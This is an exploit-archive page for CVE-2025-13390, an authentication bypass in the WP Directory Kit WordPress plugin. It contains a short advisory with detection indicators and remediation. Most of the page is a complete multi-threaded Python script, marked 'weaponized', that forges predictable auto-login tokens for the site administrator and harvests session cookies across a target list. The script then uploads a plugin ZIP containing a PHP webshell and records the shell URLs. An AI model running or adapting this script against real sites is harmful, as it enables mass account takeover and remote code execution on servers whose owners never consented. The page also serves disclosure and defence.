PoC Archive PoC Archive
Critical CVE-2025-13390 unpatched

WP Directory Kit Auto-Login Authentication Bypass to Full Site Takeover (CVE-2025-13390)

by Nxploited (Khaled ALenazi) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-13390
Category
web
Affected product
WP Directory Kit (WordPress plugin)
Affected versions
<= 1.4.4
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled ALenazi)
CVE / AdvisoryCVE-2025-13390
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagswordpress, wp-directory-kit, authentication-bypass, predictable-token, account-takeover, webshell-upload, python, cwe-287
RelatedN/A

Affected Target

FieldValue
Software / SystemWP Directory Kit (WordPress plugin)
Versions Affected<= 1.4.4
Language / PlatformPython 3 exploit targeting a PHP/WordPress plugin
Authentication RequiredNo
Network Access RequiredYes

Summary

WP Directory Kit implements a one-click “auto-login” feature via wdk_generate_auto_login_link() that mints a login token from weak, predictable inputs (derived from the target user ID) rather than a cryptographically random secret. Because the token can be reproduced by an attacker for any known/guessed user ID (typically ID 1 = the site administrator), an unauthenticated attacker can request /?auto-login=1&user_id=<id>&token=<predictable> and receive valid wordpress_logged_in_* session cookies for that account. The included PoC automates this across a target list, harvests the resulting admin cookies, then uses them to install a malicious “plugin” ZIP through the standard WordPress plugin-upload flow, dropping a PHP webshell for full remote code execution.


Vulnerability Details

Root Cause

The plugin’s auto-login token generator uses a weak/predictable scheme instead of a secure random nonce tied to a per-user secret. The PoC’s own default-token suggestion illustrates how trivially guessable the scheme is:

1
default_token = hashlib.md5(str(user_id).encode()).hexdigest()[:10]

Because the real plugin logic that seeds wdk_generate_auto_login_link() is similarly derivable from public/guessable values (user ID), an attacker does not need to intercept or brute-force a secret — they can compute a valid token offline and use it directly against /?auto-login=1.

Attack Vector

  1. Attacker computes (or brute-forces from a small keyspace) a valid auto-login token for a target user_id (default: 1, the administrator).
  2. Attacker sends GET /?auto-login=1&user_id=1&token=<token> to the target site; the plugin validates the weak token and sets wordpress_logged_in_* session cookies for that user without any credentials.
  3. Using the stolen admin session, the attacker requests a nonce from /wp-admin/plugin-install.php?tab=upload and POSTs a plugin ZIP to /wp-admin/update.php?action=upload-plugin.
  4. The ZIP contains a PHP webshell (expected filename Nx.php in the PoC) which is installed under /wp-content/plugins/<plugin>/Nx.php and is immediately reachable and executable via HTTP.

Impact

Unauthenticated full site takeover: arbitrary administrator account impersonation followed by direct remote code execution via webshell upload, i.e. complete compromise of the WordPress installation and underlying web server user.


Environment / Lab Setup

Target: WordPress install with "WP Directory Kit" plugin <= 1.4.4 active
Attacker: Python 3, pip install -r requirements.txt (requests, beautifulsoup4, colorama)
Payload: A ZIP file (default name Nxploited.zip) packaging a WordPress "plugin" whose
         entry file is a PHP webshell named Nx.php
Targets: list.txt with one host/URL per line

Proof of Concept

PoC Script

See CVE-2025-13390.py in this folder.

1
2
3
pip install -r requirements.txt

python3 CVE-2025-13390.py

Detection & Indicators of Compromise

GET /?auto-login=1&user_id=<n>&token=<hex> HTTP/1.1     <- auth-bypass attempt
GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1    <- nonce harvesting with stolen session
POST /wp-admin/update.php?action=upload-plugin HTTP/1.1 <- plugin ZIP upload
GET /wp-content/plugins/<name>/Nx.php?...               <- webshell access

Signs of compromise:

  • Unexpected wordpress_logged_in_* sessions created without a corresponding /wp-login.php POST
  • New/unknown plugin directories under wp-content/plugins/ shortly after an auto-login request
  • Presence of Nx.php or similarly named single-file PHP shells inside plugin directories
  • Plugin-install activity in uploads_log.txt-style patterns originating from automation (rapid, scripted User-Agent strings)

Remediation

ActionDetail
Primary fixUpdate WP Directory Kit to a version beyond 1.4.4 that replaces the auto-login token scheme with a cryptographically secure, per-user, time-limited nonce
Interim mitigationDisable/remove the auto-login feature if not required; restrict /wp-admin/update.php?action=upload-plugin and plugin-install capabilities; monitor for unauthenticated hits to ?auto-login=1

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-13390 on 2026-07-06. Templated Nxploited branding/banner throughout the script, but the auto-login token exploitation and plugin-upload webshell chain are functional and specific to this CVE.

CVE-2025-13390.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
#!/usr/bin/env python3
#Nxploited

import os
import sys
import time
import threading
import requests
import urllib3
from urllib.parse import urlparse, urljoin
from datetime import datetime
import hashlib

try:
    from colorama import init as colorama_init, Fore, Style
    colorama_init(autoreset=True)
except Exception:
    class Dummy:
        RESET_ALL = ""
    Fore = Style = Dummy()
    Fore.GREEN = Fore.CYAN = Fore.YELLOW = Fore.RED = Fore.MAGENTA = Fore.LIGHTWHITE_EX = Fore.LIGHTYELLOW_EX = Fore.WHITE = ""
    Style = Dummy()

try:
    from bs4 import BeautifulSoup
except ImportError:
    print("[-] Please install beautifulsoup4: pip install beautifulsoup4")
    sys.exit(1)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEFAULT_TIMEOUT = 15
COOKIES_SUCCESS_FILE = "success_cookies.txt"
SHELLS_SUCCESS_FILE = "success_shells.txt"
UPLOAD_LOG_FILE = "uploads_log.txt"
USER_AGENT = "Nxploited/5.0-REAL"

write_lock = threading.Lock()

def Nxploited_backup_output_file(path):
    if os.path.exists(path):
        ts = datetime.now().strftime("%Y%m%d_%H%M%S")
        bak_name = f"{path}.{ts}.bak"
        os.replace(path, bak_name)
        print(Fore.MAGENTA + f"Existing {path} backed up to {bak_name}" + Style.RESET_ALL)

def Nxploited_write_line(path, val):
    with write_lock:
        with open(path, "a", encoding="utf-8") as f:
            f.write(val + "\n")

def Nxploited_normalize_target_host(host):
    host = host.strip()
    if host.lower().startswith(("http://", "https://")):
        p = urlparse(host)
        base = f"{p.scheme}://{p.netloc}"
        return base
    return f"http://{host}"

def Nxploited_exploit_login(session, target_base, user_id, token):
    try:
        target_url = f"{target_base}/?auto-login=1&user_id={user_id}&token={token}"
        headers = {'User-Agent': USER_AGENT}
        response = session.get(target_url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT, allow_redirects=False)
        set_cookie_headers = []
        for k, v in response.headers.items():
            if k.lower() == 'set-cookie':
                set_cookie_headers.append(v)
        cookies_found = []
        for k in set_cookie_headers:
            if 'wordpress_logged_in' in k or 'wordpress_' in k:
                cookies_found.append(k)
        if cookies_found:
            return True, cookies_found
        return False, None
    except Exception:
        return False, None

def Nxploited_parse_set_cookie_headers_to_dict(set_cookie_headers):
    cookies = {}
    for header in set_cookie_headers:
        parts = header.split(';')
        if not parts:
            continue
        name_value = parts[0].strip()
        if '=' in name_value:
            name, value = name_value.split('=', 1)
            cookies[name.strip()] = value.strip()
    return cookies

def Nxploited_direct_admin_upload(target_base, session_cookies, zip_path, plugin_name):
    session = requests.Session()
    session.headers.update({'User-Agent': USER_AGENT})
    for k, v in session_cookies.items():
        session.cookies.set(k, v)
    url_upload_form = urljoin(target_base, "/wp-admin/plugin-install.php?tab=upload")
    resp = session.get(url_upload_form, verify=False, timeout=DEFAULT_TIMEOUT)
    if resp.status_code != 200:
        return False, None, None
    soup = BeautifulSoup(resp.text, "html.parser")
    nonce_input = soup.find("input", {"name": "_wpnonce"})
    if not nonce_input:
        return False, None, None
    nonce = nonce_input.get("value")
    url_upload_action = urljoin(target_base, "/wp-admin/update.php?action=upload-plugin")
    with open(zip_path, 'rb') as f:
        files = {'pluginzip': (f"{plugin_name}.zip", f, 'application/zip')}
        data = {
            '_wpnonce': nonce,
            '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload',
            'install-plugin-submit': 'Install Now'
        }
        resp2 = session.post(url_upload_action, files=files, data=data, verify=False, timeout=DEFAULT_TIMEOUT, allow_redirects=True)
    ok_signs = [
        "Plugin installed successfully", "has been installed successfully", "تم تثبيت الإضافة بنجاح"
    ]
    success = any(msg in resp2.text for msg in ok_signs)
    shell_url = urljoin(target_base, f"/wp-content/plugins/{plugin_name}/Nx.php")
    if success:
        return True, shell_url, resp2.text
    else:
        return False, shell_url, resp2.text

def Nxploited_worker_thread(thread_id, targets, user_id, token, zip_path, plugin_name):
    session = requests.Session()
    session.headers.update({'User-Agent': USER_AGENT})
    for t in targets:
        try:
            success, cookies = Nxploited_exploit_login(session, t, user_id, token)
            if success and cookies:
                cookie_line = f"{t}|ID={user_id}|TOKEN={token}|{','.join(cookies)}"
                Nxploited_write_line(COOKIES_SUCCESS_FILE, cookie_line)
                print(Fore.GREEN + f"[SUCCESS] {t}: Cookie extracted" + Style.RESET_ALL)
                session_cookies = Nxploited_parse_set_cookie_headers_to_dict(cookies)
                ok, shell_url, resp_text = Nxploited_direct_admin_upload(t, session_cookies, zip_path, plugin_name)
                if ok:
                    Nxploited_write_line(SHELLS_SUCCESS_FILE, shell_url)
                    print(Fore.GREEN + f"[SHELL] {shell_url}" + Style.RESET_ALL)
                else:
                    print(Fore.RED + f"[FAILED UPLOAD] {t}" + Style.RESET_ALL)
                Nxploited_write_line(UPLOAD_LOG_FILE, f"{t}|{plugin_name}.zip|{'SUCCESS' if ok else 'FAILED'}|{shell_url if shell_url else ''}")
            else:
                print(Fore.RED + f"[FAILED_LOGIN] {t}" + Style.RESET_ALL)
            time.sleep(0.18)
        except Exception as e:
            print(Fore.RED + f"[Error] {t}: {e}" + Style.RESET_ALL)
            time.sleep(0.5)

def Nxploited_chunk_targets(targets, n):
    if n <= 1:
        return [targets]
    chunks = [[] for _ in range(n)]
    for idx, val in enumerate(targets):
        chunks[idx % n].append(val)
    return chunks

def Nxploited_show_banner():
    banner = r"""
 _______  __   __  _______         _______  _______  _______  _______         ____   _______  _______  _______  _______ 
|       ||  | |  ||       |       |       ||  _    ||       ||       |       |    | |       ||       ||  _    ||  _    |
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   ||   ____| ____   |   | |___    ||___    || | |   || | |   |
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||  |____ |____|  |   |  ___|   | ___|   || |_|   || | |   |
|      _||       ||    ___|       | ______|| |_|   || ______||_____  |        |   | |___    ||___    ||___    || |_|   |
|     |_  |     | |   |___        | |_____ |       || |_____  _____| |        |   |  ___|   | ___|   |    |   ||       |
|_______|  |___|  |_______|       |_______||_______||_______||_______|        |___| |_______||_______|    |___||_______|
"""
    print(Fore.GREEN + Style.BRIGHT + banner + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "\nBy: Nxploited (Khaled ALenazi)" + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Telegram: @Nxploited" + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "GitHub: https://github.com/Nxploited" + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "\nProfessional WordPress cookie exploit & plugin uploader." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Features: Extracts login cookies, uploads plugin (default: Nxploited.zip), expects shell as Nx.php." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Results: Successful shells in success_shells.txt, successful cookies in success_cookies.txt." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "Highly automated. Multi-threaded. For authorized auditing only." + Style.RESET_ALL)
    print(Fore.WHITE + Style.BRIGHT + "#Nxploited\n" + Style.RESET_ALL)

def Nxploited_show_ui_and_get_inputs():
    Nxploited_show_banner()
    targets_file = input("Targets file [default: list.txt]: ").strip() or "list.txt"
    thread_input = input("Threads [default: 8]: ").strip()
    threads = 8 if not thread_input.isdigit() or int(thread_input) < 1 else int(thread_input)
    user_id_input = input("Target user ID [default: 1]: ").strip()
    user_id = int(user_id_input) if user_id_input.isdigit() and int(user_id_input) > 0 else 1
    default_token = hashlib.md5(str(user_id).encode()).hexdigest()[:10]
    token_input = input(f"Token [default: {default_token}]: ").strip()
    token = token_input if token_input else default_token
    zip_path = input("Plugin ZIP file path [default: Nxploited.zip]: ").strip() or "Nxploited.zip"
    if not os.path.exists(zip_path):
        print(Fore.RED + f"ZIP '{zip_path}' not found. Exiting." + Style.RESET_ALL)
        sys.exit(1)
    plugin_name = os.path.splitext(os.path.basename(zip_path))[0]
    plugin_name_input = input(f"Plugin folder name? [default: {plugin_name}]: ").strip()
    if plugin_name_input:
        plugin_name = plugin_name_input
    print(Fore.MAGENTA + Style.BRIGHT + "Reminder: Ensure your shell file INSIDE the plugin ZIP is named Nx.php." + Style.RESET_ALL)
    return targets_file, threads, user_id, token, zip_path, plugin_name

def Nxploited_main():
    try:
        targets_file, threads, user_id, token, zip_path, plugin_name = Nxploited_show_ui_and_get_inputs()
        Nxploited_backup_output_file(COOKIES_SUCCESS_FILE)
        Nxploited_backup_output_file(SHELLS_SUCCESS_FILE)
        Nxploited_backup_output_file(UPLOAD_LOG_FILE)
        with open(targets_file, "r", encoding="utf-8") as f:
            raw_targets = [line.strip() for line in f if line.strip()]
        targets = [Nxploited_normalize_target_host(x) for x in raw_targets]
        print(Fore.WHITE + f"\nLoaded {len(targets)} targets, {threads} threads.\n" + Style.RESET_ALL)
        chunks = Nxploited_chunk_targets(targets, threads)
        thread_list = []
        for i in range(len(chunks)):
            if not chunks[i]:
                continue
            th = threading.Thread(target=Nxploited_worker_thread, args=(i, chunks[i], user_id, token, zip_path, plugin_name))
            th.daemon = True
            th.start()
            thread_list.append(th)
        for t in thread_list:
            t.join()
        print(Fore.GREEN + Style.BRIGHT + f"\nDone. Shell URLs in {SHELLS_SUCCESS_FILE}, cookies in {COOKIES_SUCCESS_FILE}.\n" + Style.RESET_ALL)
    except KeyboardInterrupt:
        print('\n' + Fore.RED + "Interrupted by user. Exiting..." + Style.RESET_ALL)
    except Exception as e:
        print(Fore.RED + f"An unexpected error occurred: {e}" + Style.RESET_ALL)

if __name__ == "__main__":
    Nxploited_main()